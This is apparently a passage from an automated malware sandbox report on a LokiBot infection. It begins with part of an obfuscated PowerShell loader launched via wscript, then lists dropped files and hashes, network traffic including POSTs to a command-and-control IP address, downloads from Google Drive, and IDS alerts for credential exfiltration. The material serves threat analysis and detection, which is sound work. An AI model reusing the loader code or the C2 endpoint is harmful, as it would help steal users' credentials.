,ffro.cameuCloudnTautotBuste ') ;$Chthonophagia=$Amovable[$Gelatinousness];}$Originantnfektionernes=327153;$Analysevrktjets=29478;Misrgt (Echinologist 'Gymna$InhabgSpro lHaandoAugusbLoy laBarbelUnder:Op reB Herma BetrgSlaafa tratom gneHi tolU,full PljeeNot,trUnindnRubi eMinersKenne Trans=P oto cratG DireeIndryt Terr-KilomCTils oS ormnPrebetEmotieReopenSmugltRet p Manxm$rin.lSA suraEclipc Kly,cRbdigaC pittnonscepapirdFradr ');Misrgt (Echinologist 'Vides$ utpog OverlfirhnoBerimbVandla zonel dkon:AmatrP UvoraKonstrFjer tHattyiCroupkBranda BorgmGollymCurtseu,nderCirc.aNonr t Udls Sabur=Grs n carti[VanfrSKilobyAvo,ts Tj,etM diceKrystmJi te.BevvyCSlveroKorpunFlosvvKhalieDis nr Uns,tCh ff]Oeill:Belli: P,rvFR,adgr DermoPseudm ZastB HestaAn oms Mi,ueRee.s6A sem4 erumSUr.ditProv.rLe.chiNdv,gnsplejgSmidi(I,pli$NeophB Mi.taTon ugL apfaStuditAs.erebrazelGeniilHekseeEnsterB ngnnLicheeUnrepsXant )Kam.e ');Misrgt (Echinologist ' Plan$Time gAilanlEkst.oHasarbbad tabrylll Br k: RoosKEileroRockenTritefPrj iuIrretnYamaldnoto e nderrLgtrieTo ngrDefen Cerem= ivej ,arla[CarilSSulfayPedansUnreftTsa,deF,rstmGe re.HundeTHospieSnri x Gropt Lrke.De,atE Fo tnFrforcTaxemoCreepdReseriNonconGonotgLeg t]Styrk: Ut,k:KonjaAbag.oS UdfoCMicroI BereICumul.JagteGTils.eTealetUnfaiS ncomtPyrolrdispeiUnbehnincorgProto( Reh.$O erdP,krigaBoggrr Ge rtWathfiKineskRegaiaGravemCompemRhab,e.reemrMedieaUps.etAm,lg)Reass ');Misrgt (Echinologist 'Tilse$ K,angReflelPjanko Beg bSjus.aUnstrl ddat:SaddlSGraveeKongesVed.iqNordsuLsniniLivsfbAstiga Femes erriLssedc rbor=Bonds$dampnKBevgeoFrasenHourifV.ljeuPebrenUnderdMena eEjendr Fetie St er Yder.Respes Br,gu Sk ubCanaisStrobtAe,oprTang iSammenTurm gFiske(Repul$ MicrOKontorSor.niPrepagP lsaiOrdren Du la Maken,egertDio.gnDuvesfUbemreHygrokPo metdveskiRasp.oResulnTwadde Titrr orgnUnpaselaagesTitan,Stra $CheckA FervnPseudaAtte,l triky DialsNonmaeAntiav,kyllr Br,skBelbstBevikjS olee MaustpreansA ten)Optio ');Misrgt $Sesquibasic;" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | wscript.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 6736 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 6732 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_cxx20sp5.ysr.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 4108 | wabmig.exe | C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA | der | |
MD5:F4F2DB54D9A61A3996353E4DC781C7AB | SHA256:29BB22E77D832D5FD2589FB61CDB505D2578FA9B78D8E4CEE366055A97C84037 | |||
| 4108 | wabmig.exe | C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\C02877841121CC45139CB51404116B25_46BC208C523EEEE711F4A164CF2E33E0 | binary | |
MD5:8237956639E1A8691DEF419AA43D9A8C | SHA256:93FC2D3E59DD297B50A65E2221B1591AF07499F57B4A58E7FD0C656DDC7B7691 | |||
| 4108 | wabmig.exe | C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\05DDC6AA91765AACACDB0A5F96DF8199 | der | |
MD5:E935BC5762068CAF3E24A2683B1B8A88 | SHA256:A8ACCFCFEB51BD73DF23B91F4D89FF1A9EB7438EF5B12E8AFDA1A6FF1769E89D | |||
| 5148 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_xb22rf10.15j.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 4108 | wabmig.exe | C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\05DDC6AA91765AACACDB0A5F96DF8199 | binary | |
MD5:B47966CFEEFA59D5EC6A4BCCD5DF8DF4 | SHA256:C7E5DE18CECDBBAF0213B640B375535317D881E37102AF2DCB26CB5C555B0A55 | |||
| 4108 | wabmig.exe | C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\6DA548C7E5915679F87E910D6581DEF1_058F778FC8346DE378B15A5652BAADD9 | der | |
MD5:C9B24CD717DEAA692078EF0F08532C48 | SHA256:1BD18CF01DC04303B96E9E41D4D3E814831AE3B061BB782459F4D9BEE0DAB5BF | |||
| 4108 | wabmig.exe | C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA | binary | |
MD5:07C176173C49AB3EF91DD5C01F7F5C95 | SHA256:910D4244E09B16A193C45F495BFB412548707B74CE19768A5A1B9C185A798BD6 | |||
| 4108 | wabmig.exe | C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\6DA548C7E5915679F87E910D6581DEF1_058F778FC8346DE378B15A5652BAADD9 | binary | |
MD5:F5A38CFC2111572C9620BA08F1C779CE | SHA256:C6A54272173EB5AFBAE9EFF8720D4F96AA97B37E95134C759CB70BBCADD49483 | |||
| 4108 | wabmig.exe | C:\Users\admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1693682860-607145093-2874071422-1001\0f5007522459c86e95ffcc62f32308f1_bb926e54-e3ca-40fd-ae90-2764341e7792 | binary | |
MD5:D898504A722BFF1524134C6AB6A5EAA5 | SHA256:878F32F76B159494F5A39F9321616C6068CDB82E88DF89BCC739BBC1EA78E1F9 | |||
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
— | — | GET | 200 | 172.217.16.195:80 | http://o.pki.goog/wr2/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBRTQtSEi8EX%2BbYUTXd8%2ByMxD3s1zQQU3hse7XkV1D43JMMhu%2Bw0OW1CsjACEQDmcMw%2Fo03sIxABiVt5eEgl | unknown | — | — | whitelisted |
— | — | GET | 200 | 184.30.21.171:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl | unknown | — | — | whitelisted |
— | — | GET | 200 | 142.250.185.99:80 | http://ocsp.pki.goog/gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D | unknown | — | — | whitelisted |
3116 | svchost.exe | GET | 200 | 192.229.221.95:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D | unknown | — | — | whitelisted |
— | — | GET | 200 | 184.30.21.171:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl | unknown | — | — | whitelisted |
6604 | svchost.exe | GET | 200 | 95.101.149.131:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
— | — | POST | 500 | 137.184.191.215:80 | http://137.184.191.215/index.php/check.php?s=am9ntjjw | unknown | — | — | unknown |
— | — | GET | 200 | 142.250.186.35:80 | http://c.pki.goog/r/r1.crl | unknown | — | — | whitelisted |
— | — | GET | 200 | 172.217.16.195:80 | http://o.pki.goog/wr2/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBRTQtSEi8EX%2BbYUTXd8%2ByMxD3s1zQQU3hse7XkV1D43JMMhu%2Bw0OW1CsjACEQDbEwnphZvrGArz%2BV5lisDz | unknown | — | — | whitelisted |
— | — | POST | 500 | 137.184.191.215:80 | http://137.184.191.215/index.php/check.php?s=am9ntjjw | unknown | — | — | unknown |
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
6604 | svchost.exe | 4.231.128.59:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
3888 | svchost.exe | 239.255.255.250:1900 | — | — | — | whitelisted |
— | — | 192.168.100.255:137 | — | — | — | whitelisted |
— | — | 20.189.173.24:443 | — | MICROSOFT-CORP-MSN-AS-BLOCK | US | unknown |
2120 | MoUsoCoreWorker.exe | 4.231.128.59:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
1804 | RUXIMICS.exe | 4.231.128.59:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
6732 | powershell.exe | 142.250.186.110:443 | drive.google.com | GOOGLE | US | shared |
6732 | powershell.exe | 142.250.186.33:443 | drive.usercontent.google.com | GOOGLE | US | whitelisted |
6604 | svchost.exe | 40.127.240.158:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
Domain | IP | Reputation |
|---|---|---|
settings-win.data.microsoft.com |
| whitelisted |
google.com |
| whitelisted |
drive.google.com |
| shared |
drive.usercontent.google.com |
| whitelisted |
www.microsoft.com |
| whitelisted |
login.live.com |
| whitelisted |
ocsp.digicert.com |
| whitelisted |
slscr.update.microsoft.com |
| whitelisted |
fe3cr.delivery.mp.microsoft.com |
| whitelisted |
ocsp.pki.goog |
| whitelisted |
PID | Process | Class | Message |
|---|---|---|---|
— | — | A Network Trojan was detected | ET MALWARE LokiBot User-Agent (Charon/Inferno) |
— | — | Malware Command and Control Activity Detected | ET MALWARE LokiBot Checkin |
— | — | A Network Trojan was detected | ET MALWARE LokiBot Application/Credential Data Exfiltration Detected M1 |
— | — | A Network Trojan was detected | ET MALWARE LokiBot User-Agent (Charon/Inferno) |
— | — | Malware Command and Control Activity Detected | ET MALWARE LokiBot Checkin |
— | — | A Network Trojan was detected | ET MALWARE LokiBot Application/Credential Data Exfiltration Detected M1 |
— | — | A Network Trojan was detected | ET MALWARE LokiBot User-Agent (Charon/Inferno) |
— | — | Malware Command and Control Activity Detected | ET MALWARE LokiBot Checkin |
— | — | Malware Command and Control Activity Detected | ET MALWARE LokiBot Request for C2 Commands Detected M1 |
— | — | Malware Command and Control Activity Detected | ET MALWARE LokiBot Request for C2 Commands Detected M2 |